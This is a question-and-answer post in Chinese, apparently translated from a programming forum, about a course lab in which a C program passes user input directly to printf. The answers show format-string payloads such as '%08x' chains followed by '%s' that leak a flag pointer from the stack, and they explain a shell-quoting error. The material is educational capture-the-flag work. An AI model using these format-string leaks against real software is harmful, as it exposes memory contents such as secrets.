如何使用格式字符串漏洞从堆栈中读取任意指针?

How to read an arbitrary pointer from the stack with a format string exploit?

我正在尝试从 CSCI 4971 course, and I'm struggling with one particular lab question (fmt_string) 学习逆向工程。

我应该在某处找到并打印出旗帜店。源代码如下所示:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define LINK "\x1b\x5b" "34m"
#define RESET "\x1b\x5b" "0m"


int main()
{
  char buf[256];
  char *blah = (char *)0xdeadbeef;
  char *pointer = flag;
  char *xblah = (char *)0x1337c0de;

  printf("\x1b\x5b" "32;1m" "Format string bugs " RESET "were discovered in 1990 using fuzz testing\n" RESET
         "Nobody really cared though until this exploit for ProFTPD was\n"
         "dropped in 1999 " LINK "http://seclists.org/bugtraq/1999/Sep/328" RESET ".....\n"
         "\n"
         "In this challenge you do not need code execution. The flag is\n"
         "somewhere in memory. There is a pointer to it on the stack. You\n"
         "must use this pointer to dump the flag...\n"
         "\n"
         "You will retrieve it by passing in format string specifiers to\n"
         "the printf() function\n"
         "\n"
         "After class read this article by rebel for fmt string leetness\n"
         LINK " http://neworder.box.sk/newsread.php?newsid=9103" RESET "\n"
         "\n"
         "As a hint, your pointer is somewhere\n between 0x1337c0de and 0xdeadbeef\n"
         "\n oh, and man printf\n"
         "\n"
         "\n"
         );

  while(1)
  {
    printf("> ");
    fgets(buf, sizeof(buf), stdin);
    printf(buf);
  }

}

这就是我处理问题的方式:我知道输入 %x 会打印出堆栈中存储的数据。所以当我输入 AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x 时,我得到了输出 AAAA.00000100.080c7020.00000000.1337c0de.080c90a0.deadbeef.41414141,这是我预期的。

最后4个字节41414141是开头的4个As,4个字节deadbeef1337c0de是硬编码在源代码中的。现在,我很确定该标志存储在地址 080c90a0.

但是当我运行this bash command时,我无法得到标志:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"

我得到的是:

000000.> ��
          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                            .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                            .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                    .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
.00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                  .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                                                          .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��
      .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                .00000000.00000000.00000000.00000000.00000000.00000000.> ��
              .00000000.00000000.00000000.00000000.00000000.00000000.> ��
                                                                        .00000000.00000000.00000000.00000000.00000000.00000000.> ��

请帮助我理解我做错了什么,为什么我会得到这个输出,我应该怎么做才能得到标志?

您的第一次尝试表明指针存储在第5个位置。

只需将第 5 个 %08x 替换为合适的格式代码,具体取决于指向位置中的数据。如果 flag 指向一个字符串,那么 %s 是合适的:

AAAA.%08x.%08x.%08x.%08x.%s.%08x.%08x

预期输出:

AAAA.00000100.080c7020.00000000.1337c0de.<secret message>.deadbeef.41414141

你的 bash printf 命令从来没有 运行 你的 C 程序。 ./fmt_string 位于双引号内,作为 printf 内置参数的一部分。

在我的桌面上(在一个没有名为 fmt_string 的文件的目录中),我得到:

$ printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s | ./fmt_string"
��
 .00000000.00000000.00000000.00000000.00000000.00000000. | ./fmt_string

这与您显示的输出不同,所以您实际上可能没有复制命令 运行?


也许你实际上 运行 printf "\xa0\x90\x0c\x08.%08x.%08x.%08x.%08x.%08x.%08x.%s" | ./fmt_string。没有管道,它会打印:

��
 .00000000.00000000.00000000.00000000.00000000.00000000.

因为您没有做任何事情来阻止 printf 内置函数解释您正在打印的字符串中的 %s。使用 printf '%s\n' ...,或使用 echo。具有讽刺意味的是,您测试格式字符串漏洞的尝试因格式字符串的不正确处理而失败。

通过您的程序输出 printf 的管道将逐字打印它,因为它不再有任何 printf 元字符。 fgets/printf 循环只是将标准输入复制到标准输出,即使它有二进制垃圾。


就实际找到 flag 在堆栈中的存储位置而言,使用 进行编译,并查看 gcc 的注释以了解它把你想要的指针放在哪里。

(我假设您的漏洞利用仅适用于使用 -O0 编译的代码,否则指针将永远不会存储在堆栈中。)

IDK 是否使用 -m32。如果不是,那么 printf 的前 6 个整数参数将在整数寄存器中传递(在 x86-64 System V ABI 中),因此您需要先通过它们。

有关 ABI 文档链接,请参阅 标签 wiki。我假设您使用 printf bash 命令处于 Linux。